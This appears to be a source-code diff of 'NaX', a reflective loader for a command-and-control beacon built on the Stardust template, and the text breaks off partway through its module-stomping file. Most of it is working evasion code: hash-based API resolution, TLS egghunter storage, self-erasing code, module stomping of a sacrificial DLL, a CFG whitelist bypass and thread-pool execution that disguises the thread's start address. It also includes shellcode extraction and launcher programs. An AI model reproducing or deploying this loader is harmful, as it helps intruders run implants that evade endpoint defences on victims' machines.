// Offset Size Field
// 0 4 Magic (0x4E415832)
// 4 4 BeaconSize (bytes)
// 8 4 PdataSize (bytes, 0 = none)
// 12 4 XdataSize (bytes, 0 = none)
// 16 4 OrigTextRva (.text RVA from beacon EXE)
// 20 4 Flags (NAX_FLAG_*)
// 24 128 StompDll (WCHAR[64], NUL-terminated, zero-padded)
// 152 8 Reserved
// --- total: 160 bytes ---
//
#define NAX_HDR_OFF_MAGIC 0
#define NAX_HDR_OFF_BEACON_SZ 4
#define NAX_HDR_OFF_PDATA_SZ 8
#define NAX_HDR_OFF_XDATA_SZ 12
#define NAX_HDR_OFF_TEXT_RVA 16
#define NAX_HDR_OFF_FLAGS 20
#define NAX_HDR_OFF_DLL_NAME 24
#define NAX_HDR_OFF_RESERVED 152
//
// Stomp context tag - written by loader at TextBase + BeaconSize
// so beacon can discover the clean .text backup at boot.
//
#define NAX_STOMP_CTX_MAGIC 0x4E415854 /* "NAXT" */
//
// Compile-time technique selection
//
// NAX_STOMP_MODE: which memory allocation strategy the loader uses
// 0 = VirtualAlloc (private memory, PAGE_EXECUTE_READ)
// 1 = Module stomp (image-backed, sacrificial DLL .text)
//
// NAX_EXEC_MODE: how the beacon thread is started
// 0 = CreateThread (clean stack, but start address = beacon entry)
// 1 = Thread pool (start address = ntdll!TppWorkerThread)
//
#define NAX_STOMP_VIRTUAL 0
#define NAX_STOMP_MODULE 1
#define NAX_EXEC_THREAD 0
#define NAX_EXEC_THREADPOOL 1
#ifndef NAX_STOMP_MODE
#define NAX_STOMP_MODE NAX_STOMP_MODULE
#endif
#ifndef NAX_EXEC_MODE
#define NAX_EXEC_MODE NAX_EXEC_THREADPOOL
#endif
#endif //STARDUST_DEFS_H
+15
View File
@@ -0,0 +1,15 @@
#ifndef STARDUST_LDR_H
#define STARDUST_LDR_H
#include <Common.h>
PVOID LdrModulePeb(
_In_ ULONG Hash
);
PVOID LdrFunction(
_In_ PVOID Module,
_In_ ULONG Function
);
#endif //STARDUST_LDR_H
+42
View File
@@ -0,0 +1,42 @@
#ifndef NAX_LOADER_H
#define NAX_LOADER_H
#include <Common.h>
/* ========= [ Pe.c ] ========= */
PIMAGE_NT_HEADERS NaxPeHeaders( PVOID Base );
PIMAGE_SECTION_HEADER NaxFindSection( PIMAGE_NT_HEADERS Nt, ULONG Characteristics );
PIMAGE_SECTION_HEADER NaxFindSectionByDir( PIMAGE_NT_HEADERS Nt, ULONG DirIndex );
/* ========= [ Stomp.c ] ========= */
#if NAX_STOMP_MODE == NAX_STOMP_MODULE
VOID NaxPatchLdr( PVOID DllBase );
PVOID NaxModuleStomp(
_In_ PVOID HdrPtr,
_In_ PVOID BeaconSrc,
_In_ ULONG BeaconSize,
_In_ PVOID PdataSrc,
_In_ ULONG PdataSize,
_In_ PVOID XdataSrc,
_In_ ULONG XdataSize,
_In_ ULONG OrigTextRva,
_In_ PWCHAR DllName );
#endif
/* ========= [ Exec.c ] ========= */
#if NAX_EXEC_MODE == NAX_EXEC_THREADPOOL
VOID NaxExecThreadPool( PVOID Entry );
#elif NAX_EXEC_MODE == NAX_EXEC_THREAD
VOID NaxExecThread( PVOID Entry );
#endif
/* ========= [ Main.c ] ========= */
#if NAX_STOMP_MODE == NAX_STOMP_VIRTUAL
PVOID NaxAllocExec( _In_ PVOID BeaconSrc, _In_ ULONG BeaconSize );
#endif
#endif /* NAX_LOADER_H */
+97
View File
@@ -0,0 +1,97 @@
#ifndef STARDUST_MACROS_H
#define STARDUST_MACROS_H
//
// utils macros
//
#define D_API( x ) __typeof__( x ) * x;
#define D_SEC( x ) __attribute__( ( section( ".text$" #x "" ) ) )
#define FUNC D_SEC( B )
#define ST_READONLY __attribute__( ( section( ".rdata" ) ) )
//
// casting macros
//
#define C_PTR( x ) ( ( PVOID ) ( x ) )
#define U_PTR( x ) ( ( UINT_PTR ) ( x ) )
#define U_PTR32( x ) ( ( ULONG ) ( x ) )
#define U_PTR64( x ) ( ( ULONG64 ) ( x ) )
#define A_PTR( x ) ( ( PCHAR ) ( x ) )
#define W_PTR( x ) ( ( PWCHAR ) ( x ) )
//
// dereference memory macros
//
#define C_DEF( x ) ( * ( PVOID* ) ( x ) )
#define C_DEF08( x ) ( * ( UINT8* ) ( x ) )
#define C_DEF16( x ) ( * ( UINT16* ) ( x ) )
#define C_DEF32( x ) ( * ( UINT32* ) ( x ) )
#define C_DEF64( x ) ( * ( UINT64* ) ( x ) )
//
// memory related macros
//
#define MmCopy __builtin_memcpy
#define MmSet __stosb
#define MmZero RtlSecureZeroMemory
//
// page alignment helpers (LDR_ prefix avoids collisions with beacon headers)
//
#define LDR_PAGE_SIZE 0x1000
#define LDR_PAGE_MASK 0xFFF
#define ALIGN_UP( size, align ) ( ( (SIZE_T)(size) + (SIZE_T)(align) - 1 ) & ~( (SIZE_T)(align) - 1 ) )
//
// CFG / mitigation policy constants
//
#define LDR_PROCESS_CFG_GUARD_POLICY 7 /* ProcessControlFlowGuardPolicy */
#define LDR_CFG_CALL_TARGET_VALID 1 /* CFG_CALL_TARGET_VALID flag */
//
// instance related macros - TLS egghunter retrieval
// Walks TEB->TlsSlots[0..63], finds NtCurrentPeb() egg, reads next slot.
//
static __inline__ PVOID __TlsFindInstance( void ) {
PVOID peb = C_PTR( NtCurrentPeb() );
PTEB teb = NtCurrentTeb();
for ( UINT32 i = 0; i < 63; i++ ) {
if ( teb->TlsSlots[ i ] == peb )
return teb->TlsSlots[ i + 1 ];
}
return C_PTR( 0 );
}
#define InstancePtr() ( ( PINSTANCE ) __TlsFindInstance() )
#define Instance() ( ( PINSTANCE ) __LocalInstance )
#define STARDUST_INSTANCE PINSTANCE __LocalInstance = InstancePtr();
//
// instance field shortcuts (ZPS Extending Stardust pattern)
//
#define MOD( x ) Instance()->Modules.x
#define API( x ) Instance()->Win32.x
#define RESOLVE( x, y ) ( API( x ) = (__typeof__( x )*)LdrFunction( MOD( y ), HASH_STR( #x ) ) )
//
// NaxHeader v2 - typed reads from on-disk header pointer
//
#define HDR_U32( h, off ) C_DEF32( C_PTR( U_PTR( h ) + (off) ) )
#define HDR_WSTR( h, off ) W_PTR( U_PTR( h ) + (off) )
//
// pointer past the loader blob = start of NaxHeader
//
#define LOADER_END() C_PTR( U_PTR( Instance()->Base.Buffer ) + Instance()->Base.Length )
/* Clion IDE hacks */
#ifdef __cplusplus
#define CONSTEXPR constexpr
#define TEMPLATE_TYPENAME template <typename T>
#define INLINE inline
#else
#define CONSTEXPR
#define TEMPLATE_TYPENAME
#define INLINE
#endif
#endif //STARDUST_MACROS_H
File diff suppressed because it is too large Load Diff
+9
View File
@@ -0,0 +1,9 @@
#ifndef STARDUST_UTILS_H
#define STARDUST_UTILS_H
ULONG HashString(
_In_ PVOID String,
_In_ SIZE_T Length
);
#endif //STARDUST_UTILS_H
+40
View File
@@ -0,0 +1,40 @@
/* NaX src_loader/scripts/Linker.ld
* Stardust linker script adapted for the NAX UDRL.
*
* Section ordering (CRITICAL):
* .text$A - ASM entry stubs (Start, StRipStart)
* .text$B - C loader body (PreMain, Main, Ldr, Utils)
* .rdata* - read-only string literals / GCC ident strings
* .data* - GCC-emitted WCHAR initialiser copies for local arrays;
* -Os lifts compound initializers to .data → must be here
* or RIP-relative refs land in zero memory at runtime.
* .text$E - StRipEnd stub (MUST be last - its return value
* equals the loader end address = beacon start in the blob)
*
* No .global section - INSTANCE pointer is stored via TLS egghunter
* (consecutive slots with NtCurrentPeb() egg). No ALIGN(0x1000) needed.
*
* No .text$P ("STARDUST-END" marker) - build.py is not used.
* objcopy --dump-section .text extracts the complete blob; StRipEnd's
* `add rax, 0x0a` is calibrated for this exact 15-byte .text$E section. */
LINK_BASE = 0x0000;
ENTRY( Start )
SECTIONS
{
. = LINK_BASE;
.text : {
. = LINK_BASE;
*( .text$A );
*( .text$B );
*( .rdata* );
*( .data* );
*( .text$E );
}
.eh_frame : {
*( .eh_frame )
}
}
+73
View File
@@ -0,0 +1,73 @@
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import pefile
import argparse
STARDUST_END : bytes = b'STARDUST-END'
PAGE_SIZE : int = 0x1000
##
## calculates the given size to pages
##
def size_to_pages( size: int ) -> int:
PAGE_MASK : int = 0xfff
BASE_PAGE_SHIFT : int = 12
return ( size >> BASE_PAGE_SHIFT ) + ( ( size & PAGE_MASK ) != 0 )
##
## parse specified executable file and
## save .text section shellcode into a file
##
def main() -> None:
parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' )
parser.add_argument( '-f', required = True, help = 'Path to the source executable', type = str )
parser.add_argument( '-o', required = True, help = 'Path to store the output raw binary', type = str )
option = parser.parse_args()
executable = pefile.PE( option.f )
shellcode = bytearray( executable.sections[ 0 ].get_data() )
shellcode = shellcode[ : shellcode.find( STARDUST_END ) ]
size = len( shellcode )
##
## calculate pages
##
pages = size_to_pages( size )
padding = ( ( pages * PAGE_SIZE ) - size )
##
## fill the padding to have a full page
##
for i in range( padding ):
shellcode.append( 0 )
##
## get size of shellcode
##
size = len( shellcode )
##
## print metadata
##
print( f"[*] payload len : { size - padding } bytes" )
print( f"[*] size : { size } bytes" )
print( f"[*] padding : { padding } bytes" )
print( f"[*] page count : { size / PAGE_SIZE } pages" )
##
## open shellcode file
##
file = open( option.o, 'wb+' )
##
## write shellcode to file
##
file.write( shellcode )
file.close()
return
if __name__ in '__main__':
main()
+61
View File
@@ -0,0 +1,61 @@
#include <windows.h>
#include <stdio.h>
LPVOID LoadFileIntoMemory( LPSTR Path, PDWORD MemorySize ) {
PVOID ImageBuffer = NULL;
DWORD dwBytesRead = 0;
HANDLE hFile = NULL;
hFile = CreateFileA( Path, GENERIC_READ, 0, 0, OPEN_ALWAYS, 0, 0 );
if (hFile == INVALID_HANDLE_VALUE)
{
printf( "Error opening %s\r\n", Path );
return NULL;
}
if ( MemorySize )
*MemorySize = GetFileSize( hFile, 0 );
ImageBuffer = ( PBYTE ) LocalAlloc( LPTR, *MemorySize );
ReadFile( hFile, ImageBuffer, *MemorySize, &dwBytesRead, 0 );
CloseHandle( hFile );
return ImageBuffer;
}
typedef void ( * ShellcodeMain )();
int main( int argc, char** argv )
{
PVOID ShellcodeBytes = NULL;
DWORD ShellcodeSize = 0;
DWORD OldProtection = 0;
LPVOID ShellcodeMemory = NULL;
if ( argc < 2 )
{
printf( "[-] %s <shellcode path>\n", argv[ 0 ] );
return 0;
}
ShellcodeBytes = LoadFileIntoMemory( argv[ 1 ], &ShellcodeSize );
ShellcodeMemory = VirtualAlloc( NULL, ShellcodeSize, MEM_COMMIT, PAGE_READWRITE );
if ( ! ShellcodeMemory )
{
printf("[-] Failed to allocate Virtual Memory\n");
return 0;
}
printf( "[*] Address => %p\n", ShellcodeMemory );
memcpy( ShellcodeMemory, ShellcodeBytes, ShellcodeSize );
VirtualProtect( ShellcodeMemory, ShellcodeSize, PAGE_EXECUTE_READ, &OldProtection );
puts("[+] Execute shellcode... press enter");
getchar();
((ShellcodeMain)ShellcodeMemory)();
}
BIN
View File
Binary file not shown.
+65
View File
@@ -0,0 +1,65 @@
#include <windows.h>
#include <stdio.h>
/* ========= [ NaX dev launcher ] =========
*
* Loads nax.bin into RWX memory and transfers execution to the loader.
* The loader itself parses NaxHeader v2 and decides whether to module-stomp
* or VirtualAlloc based on the embedded flags - stomper does NOT need to
* know which mode is active.
*
* Usage: stomper.exe path\to\nax.x64.bin
*/
int main( int argc, char** argv ) {
HANDLE hFile = INVALID_HANDLE_VALUE;
PVOID buf = NULL;
DWORD sz = 0;
DWORD rd = 0;
DWORD old = 0;
HANDLE hThread = NULL;
if ( argc < 2 ) {
puts( "usage: stomper.exe <nax.bin>" );
return 1;
}
hFile = CreateFileA( argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL );
if ( hFile == INVALID_HANDLE_VALUE ) {
printf( "[!] CreateFileA failed: %lu\n", GetLastError() );
return 1;
}
sz = GetFileSize( hFile, NULL );
printf( "[*] loaded \"%s\" (%lu bytes)\n", argv[1], sz );
buf = VirtualAlloc( NULL, sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );
if ( !buf ) {
printf( "[!] VirtualAlloc failed: %lu\n", GetLastError() );
CloseHandle( hFile );
return 1;
}
ReadFile( hFile, buf, sz, &rd, NULL );
CloseHandle( hFile );
if ( !VirtualProtect( buf, sz, PAGE_EXECUTE_READ, &old ) ) {
printf( "[!] VirtualProtect failed: %lu\n", GetLastError() );
return 1;
}
printf( "[*] shellcode @ %p RX\n", buf );
printf( "[*] press enter to execute...\n" );
getchar();
hThread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)buf, NULL, 0, NULL );
if ( !hThread ) {
printf( "[!] CreateThread failed: %lu\n", GetLastError() );
return 1;
}
WaitForSingleObject( (HANDLE)-1, INFINITE );
CloseHandle( hThread );
return 0;
}
BIN
View File
Binary file not shown.
+44
View File
@@ -0,0 +1,44 @@
#include <Common.h>
/* ========= [ Execution Transfer ] =========
*
* How the beacon gets its own thread after stomping/allocation.
*
* NAX_EXEC_THREADPOOL:
* TpAllocWork + TpPostWork: beacon entry runs on a worker thread.
*
* NAX_EXEC_THREAD:
* CreateThread: clean stack, start address = beacon entry. */
#if NAX_EXEC_MODE == NAX_EXEC_THREADPOOL
FUNC VOID NaxExecThreadPool( PVOID Entry ) {
STARDUST_INSTANCE
PTP_WORK Work = NULL;
if ( !NT_SUCCESS( API( TpAllocWork )( &Work, (PTP_WORK_CALLBACK)Entry, NULL, NULL ) ) )
goto fallback;
if ( !Work )
goto fallback;
API( TpPostWork )( Work );
API( TpReleaseWork )( Work );
return;
fallback:
( (VOID (*)( VOID ))Entry )();
}
#elif NAX_EXEC_MODE == NAX_EXEC_THREAD
FUNC VOID NaxExecThread( PVOID Entry ) {
STARDUST_INSTANCE
HANDLE hThread = API( CreateThread )( NULL, 0, (LPTHREAD_START_ROUTINE)Entry, NULL, 0, NULL );
if ( hThread )
return;
( (VOID (*)( VOID ))Entry )();
}
#endif
+178
View File
@@ -0,0 +1,178 @@
#include <Common.h>
/*!
* @brief
* resolve module from peb
*
* @param Buffer
* Buffer: either string or hash
*
* @param Hashed
* is the Buffer a hash value
*
* @return
* module base pointer
*/
FUNC PVOID LdrModulePeb(
_In_ ULONG Hash
) {
PLDR_DATA_TABLE_ENTRY Data = { 0 };
PLIST_ENTRY Head = { 0 };
PLIST_ENTRY Entry = { 0 };
Head = & NtCurrentPeb()->Ldr->InLoadOrderModuleList;
Entry = Head->Flink;
for ( ; Head != Entry ; Entry = Entry->Flink ) {
Data = C_PTR( Entry );
if ( HashString( Data->BaseDllName.Buffer, Data->BaseDllName.Length ) == Hash ) {
return Data->DllBase;
}
}
return NULL;
}
/*!
* @brief
* retrieve image header
*
* @param Image
* image base pointer to retrieve header from
*
* @return
* pointer to Nt Header
*/
FUNC PIMAGE_NT_HEADERS LdrpImageHeader(
_In_ PVOID Image
) {
PIMAGE_DOS_HEADER DosHeader = { 0 };
PIMAGE_NT_HEADERS NtHeader = { 0 };
DosHeader = C_PTR( Image );
if ( DosHeader->e_magic != IMAGE_DOS_SIGNATURE ) {
return NULL;
}
NtHeader = C_PTR( U_PTR( Image ) + DosHeader->e_lfanew );
if ( NtHeader->Signature != IMAGE_NT_SIGNATURE ) {
return NULL;
}
return NtHeader;
}
/* ========= [ forwarded export resolution ] =========
*
* Forwarding strings have the form "ModuleName.FunctionName"
* (e.g. "KERNELBASE.VirtualAlloc"). We append ".dll", hash the result
* for PEB lookup, then recurse into LdrFunction on the target module.
*
* Ordinal forwarding ("ModuleName.#N") returns NULL - not implemented. */
FUNC PVOID LdrpFwdResolve( _In_ PCHAR FwdStr ) {
WCHAR DllNameW[ 64 ] = { 0 };
PCHAR DotPtr = { 0 };
PCHAR FuncName = { 0 };
PVOID FwdMod = { 0 };
INT PfxLen = { 0 };
INT i = { 0 };
/* find the '.' separating module prefix from function name */
DotPtr = FwdStr;
while ( *DotPtr && *DotPtr != '.' ) DotPtr++;
if ( ! *DotPtr ) return NULL;
FuncName = DotPtr + 1;
PfxLen = (INT)( DotPtr - FwdStr );
if ( PfxLen <= 0 || PfxLen > 59 ) return NULL;
/* ordinal forwarding ("Module.#N") - not implemented */
if ( *FuncName == '#' ) return NULL;
for ( i = 0; i < PfxLen; i++ ) DllNameW[ i ] = (WCHAR)FwdStr[ i ];
/* ".dll" as packed UTF-16LE - avoids 4x mov-word-immediate pattern */
*(UINT64 *)( &DllNameW[ PfxLen ] ) = 0x006C006C0064002Eull;
DllNameW[ PfxLen + 4 ] = L'\0';
/* locate target module in PEB then recurse */
if ( ! ( FwdMod = LdrModulePeb( HashString( DllNameW, ( PfxLen + 4 ) * 2 ) ) ) ) return NULL;
return LdrFunction( FwdMod, HashString( FuncName, 0 ) );
}
FUNC PVOID LdrFunction(
_In_ PVOID Library,
_In_ ULONG Function
) {
PVOID Address = { 0 };
PIMAGE_NT_HEADERS NtHeader = { 0 };
PIMAGE_EXPORT_DIRECTORY ExpDir = { 0 };
SIZE_T ExpDirSize = { 0 };
PDWORD AddrNames = { 0 };
PDWORD AddrFuncs = { 0 };
PWORD AddrOrdns = { 0 };
PCHAR FuncName = { 0 };
//
// sanity check arguments
//
if ( ! Library || ! Function ) {
return NULL;
}
//
// retrieve header of library
//
if ( ! ( NtHeader = LdrpImageHeader( Library ) ) ) {
return NULL;
}
//
// parse the header export address table
//
ExpDir = C_PTR( Library + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress );
ExpDirSize = NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size;
AddrNames = C_PTR( Library + ExpDir->AddressOfNames );
AddrFuncs = C_PTR( Library + ExpDir->AddressOfFunctions );
AddrOrdns = C_PTR( Library + ExpDir->AddressOfNameOrdinals );
//
// iterate over export address table director
//
for ( DWORD i = 0; i < ExpDir->NumberOfNames; i++ ) {
//
// retrieve function name
//
FuncName = C_PTR( U_PTR( Library ) + AddrNames[ i ] );
//
// hash function name from Iat and
// check the function name is what we are searching for.
// if not found keep searching.
//
if ( HashString( FuncName, 0 ) != Function ) {
continue;
}
//
// resolve function pointer
//
Address = C_PTR( U_PTR( Library ) + AddrFuncs[ AddrOrdns[ i ] ] );
/* check if this is a forwarded export (Address falls inside ExpDir) */
if ( ( U_PTR( Address ) >= U_PTR( ExpDir ) ) &&
( U_PTR( Address ) < U_PTR( ExpDir ) + ExpDirSize )
) {
/* forwarding string points to the target module - resolve it */
Address = LdrpFwdResolve( ( PCHAR ) Address );
}
break;
}
return Address;
}
+170
View File
@@ -0,0 +1,170 @@
#include <Common.h>
#include <Constexpr.h>
#include <Loader.h>
/* ========= [ NAX UDRL - entry + dispatch ] =========
*
* PreMain (Stardust pattern) has already:
* 1. Calculated Base.Buffer = StRipStart() (loader base address)
* 2. Calculated Base.Length = StRipEnd() - StRipStart() (loader size)
* 3. Resolved ntdll!RtlAllocateHeap + kernel32 TLS APIs
* 4. Stored INSTANCE in TLS (consecutive-slot egghunter)
* 5. Zeroed out the StRipEnd code (anti-fingerprint)
* 6. Transferred control here via Main()
*
* Technique selection is compile-time via preprocessor defines:
*
* NAX_STOMP_MODE:
* NAX_STOMP_VIRTUAL (0) - NtAllocateVirtualMemory (private memory)
* NAX_STOMP_MODULE (1) - Module stomp (image-backed, sacrificial DLL)
*
* NAX_EXEC_MODE:
* NAX_EXEC_THREAD (0) - CreateThread (start addr = beacon)
* NAX_EXEC_THREADPOOL (1) - TpAllocWork/TpPostWork (start addr = TppWorkerThread)
*
* Implementation split across files:
* Pe.c - PE header parsing helpers
* Stomp.c - Module stomping + LDR patching + unwind stomping
* Exec.c - Thread pool / CreateThread execution transfer
* Main.c - This file: resolve APIs, parse header, dispatch */
/* ========= [ VirtualAlloc fallback path ] ========= */
#if NAX_STOMP_MODE == NAX_STOMP_VIRTUAL
FUNC PVOID NaxAllocExec(
_In_ PVOID BeaconSrc,
_In_ ULONG BeaconSize ) {
STARDUST_INSTANCE
PVOID exec_buf = NULL;
SIZE_T copy_size = ALIGN_UP( BeaconSize, LDR_PAGE_SIZE );
ULONG old_prot = 0;
if ( !NT_SUCCESS( API( NtAllocateVirtualMemory )( NtCurrentProcess(), &exec_buf, 0, &copy_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ) ) )
return NULL;
if ( !exec_buf )
return NULL;
MmCopy( exec_buf, BeaconSrc, BeaconSize );
if ( !API( VirtualProtect )( exec_buf, copy_size, PAGE_EXECUTE_READ, &old_prot ) )
return NULL;
return exec_buf;
}
#endif /* NAX_STOMP_VIRTUAL */
/* ========= [ entry - resolve APIs, parse header, dispatch ] ========= */
FUNC VOID Main(
_In_ PVOID Param ) {
STARDUST_INSTANCE
PVOID hdr = { 0 };
PVOID beacon_src = { 0 };
PVOID entry = { 0 };
/* ========= [ resolve modules ] ========= */
if ( !( MOD( Kernel32 ) = LdrModulePeb( H_MODULE_KERNEL32 ) ) )
return;
if ( !( MOD( Ntdll ) = LdrModulePeb( H_MODULE_NTDLL ) ) )
return;
/* ========= [ resolve APIs ] ========= */
if ( !RESOLVE( NtProtectVirtualMemory, Ntdll ) ) return;
if ( !RESOLVE( VirtualProtect, Kernel32 ) ) return;
#if NAX_STOMP_MODE == NAX_STOMP_VIRTUAL
if ( !RESOLVE( NtAllocateVirtualMemory, Ntdll ) ) return;
#elif NAX_STOMP_MODE == NAX_STOMP_MODULE
if ( !RESOLVE( LoadLibraryExW, Kernel32 ) ) return;
RESOLVE( GetProcessMitigationPolicy, Kernel32 );
MOD( Kernelbase ) = LdrModulePeb( HASH_STR( "KERNELBASE.DLL" ) );
if ( MOD( Kernelbase ) )
API( SetProcessValidCallTargets ) = (__typeof__( API( SetProcessValidCallTargets ) ))LdrFunction( MOD( Kernelbase ), HASH_STR( "SetProcessValidCallTargets" ) );
#endif
#if NAX_EXEC_MODE == NAX_EXEC_THREAD
if ( !RESOLVE( CreateThread, Kernel32 ) ) return;
#elif NAX_EXEC_MODE == NAX_EXEC_THREADPOOL
if ( !RESOLVE( TpAllocWork, Ntdll ) ) return;
if ( !RESOLVE( TpPostWork, Ntdll ) ) return;
if ( !RESOLVE( TpReleaseWork, Ntdll ) ) return;
#endif
/* ========= [ parse NaxHeader ] ========= */
hdr = LOADER_END();
ULONG magic = HDR_U32( hdr, NAX_HDR_OFF_MAGIC );
ULONG beacon_size = HDR_U32( hdr, NAX_HDR_OFF_BEACON_SZ );
/* v1 fallback: if magic doesn't match v2, treat as legacy 4-byte header */
if ( magic != NAX_HDR_MAGIC ) {
beacon_size = magic;
beacon_src = C_PTR( U_PTR( hdr ) + 4 );
if ( !beacon_size || beacon_size > 256 * 1024 )
return;
#if NAX_STOMP_MODE == NAX_STOMP_VIRTUAL
entry = NaxAllocExec( beacon_src, beacon_size );
#else
entry = beacon_src;
#endif
if ( !entry )
return;
( (VOID (*)( VOID ))entry )();
return;
}
/* ========= [ validate header ] ========= */
if ( !beacon_size || beacon_size > 512 * 1024 )
return;
/* ========= [ locate beacon blobs + stomp ] ========= */
beacon_src = C_PTR( U_PTR( hdr ) + NAX_HDR_SIZE );
#if NAX_STOMP_MODE == NAX_STOMP_MODULE
ULONG pdata_size = HDR_U32( hdr, NAX_HDR_OFF_PDATA_SZ );
ULONG xdata_size = HDR_U32( hdr, NAX_HDR_OFF_XDATA_SZ );
ULONG text_rva = HDR_U32( hdr, NAX_HDR_OFF_TEXT_RVA );
PWCHAR dll_name = HDR_WSTR( hdr, NAX_HDR_OFF_DLL_NAME );
PVOID pdata_src = C_PTR( U_PTR( beacon_src ) + beacon_size );
PVOID xdata_src = C_PTR( U_PTR( pdata_src ) + pdata_size );
entry = NaxModuleStomp( hdr, beacon_src, beacon_size, pdata_src, pdata_size, xdata_src, xdata_size, text_rva, dll_name );
#elif NAX_STOMP_MODE == NAX_STOMP_VIRTUAL
entry = NaxAllocExec( beacon_src, beacon_size );
#endif
if ( !entry )
return;
/* ========= [ CFG: whitelist beacon entry in stomped DLL ] ========= */
#if NAX_STOMP_MODE == NAX_STOMP_MODULE
if ( API( GetProcessMitigationPolicy ) && API( SetProcessValidCallTargets ) && Instance()->StompDllBase ) {
BYTE policy[4];
MmZero( policy, 4 );
if ( API( GetProcessMitigationPolicy )( (HANDLE)-1, LDR_PROCESS_CFG_GUARD_POLICY, policy, 4 ) && ( policy[0] & 1 ) ) {
PIMAGE_NT_HEADERS cfgNt = NaxPeHeaders( Instance()->StompDllBase );
if ( cfgNt ) {
SIZE_T cfgLen = ALIGN_UP( cfgNt->OptionalHeader.SizeOfImage, LDR_PAGE_SIZE );
struct { ULONG_PTR Offset; ULONG_PTR Flags; } cfg = { U_PTR( entry ) - U_PTR( Instance()->StompDllBase ), LDR_CFG_CALL_TARGET_VALID };
API( SetProcessValidCallTargets )( (HANDLE)-1, Instance()->StompDllBase, cfgLen, 1, &cfg );
}
}
}
#endif
/* ========= [ transfer execution to beacon ] ========= */
#if NAX_EXEC_MODE == NAX_EXEC_THREADPOOL
NaxExecThreadPool( entry );
#elif NAX_EXEC_MODE == NAX_EXEC_THREAD
NaxExecThread( entry );
#endif
}
+40
View File
@@ -0,0 +1,40 @@
#include <Common.h>
/* ========= [ PE header helpers ] =========
*
* Shared utilities for parsing PE structures. Used by both the
* module stomp path and the main dispatch logic. */
FUNC PIMAGE_NT_HEADERS NaxPeHeaders( PVOID Base ) {
PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)Base;
if ( Dos->e_magic != IMAGE_DOS_SIGNATURE )
return NULL;
PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)( U_PTR( Base ) + Dos->e_lfanew );
if ( Nt->Signature != IMAGE_NT_SIGNATURE )
return NULL;
return Nt;
}
FUNC PIMAGE_SECTION_HEADER NaxFindSection( PIMAGE_NT_HEADERS Nt, ULONG Characteristics ) {
PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION( Nt );
for ( ULONG i = 0; i < Nt->FileHeader.NumberOfSections; i++ ) {
if ( ( Sec[i].Characteristics & Characteristics ) == Characteristics )
return &Sec[i];
}
return NULL;
}
FUNC PIMAGE_SECTION_HEADER NaxFindSectionByDir( PIMAGE_NT_HEADERS Nt, ULONG DirIndex ) {
if ( DirIndex >= Nt->OptionalHeader.NumberOfRvaAndSizes )
return NULL;
ULONG DirRva = Nt->OptionalHeader.DataDirectory[DirIndex].VirtualAddress;
if ( !DirRva )
return NULL;
PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION( Nt );
for ( ULONG i = 0; i < Nt->FileHeader.NumberOfSections; i++ ) {
if ( DirRva >= Sec[i].VirtualAddress &&
DirRva < Sec[i].VirtualAddress + Sec[i].SizeOfRawData )
return &Sec[i];
}
return NULL;
}
+79
View File
@@ -0,0 +1,79 @@
#include <Common.h>
#include <Constexpr.h>
#define TLS_SEARCH_LIMIT 20
EXTERN_C FUNC VOID PreMain(
PVOID Param
) {
INSTANCE Stardust = { 0 };
PVOID Heap = { 0 };
PVOID Inst = { 0 };
MmZero( & Stardust, sizeof( Stardust ) );
Heap = NtCurrentPeb()->ProcessHeap;
Stardust.Base.Buffer = StRipStart();
Stardust.Base.Length = U_PTR( StRipEnd() ) - U_PTR( Stardust.Base.Buffer );
/* ========= [ resolve ntdll + kernel32 ] ========= */
if ( ! ( Stardust.Modules.Ntdll = LdrModulePeb( H_MODULE_NTDLL ) ) )
return;
if ( ! ( Stardust.Win32.RtlAllocateHeap = LdrFunction( Stardust.Modules.Ntdll, HASH_STR( "RtlAllocateHeap" ) ) ) )
return;
if ( ! ( Stardust.Modules.Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ) ) )
return;
if ( ! ( Stardust.Win32.TlsAlloc = LdrFunction( Stardust.Modules.Kernel32, HASH_STR( "TlsAlloc" ) ) ) ||
! ( Stardust.Win32.TlsSetValue = LdrFunction( Stardust.Modules.Kernel32, HASH_STR( "TlsSetValue" ) ) ) ||
! ( Stardust.Win32.TlsFree = LdrFunction( Stardust.Modules.Kernel32, HASH_STR( "TlsFree" ) ) )
) {
return;
}
/* ========= [ find two consecutive TLS slots (egghunter storage) ] ========= */
DWORD slots[ TLS_SEARCH_LIMIT ] = { 0 };
UINT32 slotCount = 0;
DWORD eggSlot = TLS_OUT_OF_INDEXES;
DWORD instSlot = TLS_OUT_OF_INDEXES;
for ( UINT32 i = 0; i < TLS_SEARCH_LIMIT; i++ ) {
slots[ i ] = Stardust.Win32.TlsAlloc();
if ( slots[ i ] == TLS_OUT_OF_INDEXES )
break;
slotCount++;
if ( i > 0 && slots[ i ] == slots[ i - 1 ] + 1 ) {
eggSlot = slots[ i - 1 ];
instSlot = slots[ i ];
break;
}
}
if ( eggSlot == TLS_OUT_OF_INDEXES )
return;
/* free non-consecutive slots we allocated during the search */
for ( UINT32 i = 0; i < slotCount; i++ ) {
if ( slots[ i ] != eggSlot && slots[ i ] != instSlot )
Stardust.Win32.TlsFree( slots[ i ] );
}
/* ========= [ allocate INSTANCE on heap, store via TLS ] ========= */
Inst = Stardust.Win32.RtlAllocateHeap( Heap, HEAP_ZERO_MEMORY, sizeof( INSTANCE ) );
if ( ! Inst )
return;
/* egg = NtCurrentPeb() address, instance pointer in next slot */
Stardust.Win32.TlsSetValue( eggSlot, (LPVOID)NtCurrentPeb() );
Stardust.Win32.TlsSetValue( instSlot, Inst );
MmCopy( Inst, & Stardust, sizeof( INSTANCE ) );
MmZero( & Stardust, sizeof( INSTANCE ) );
Main( Param );
}
+150
View File
@@ -0,0 +1,150 @@
#include <Common.h>
#include <Loader.h>
/* ========= [ Module Stomping ] =========
*
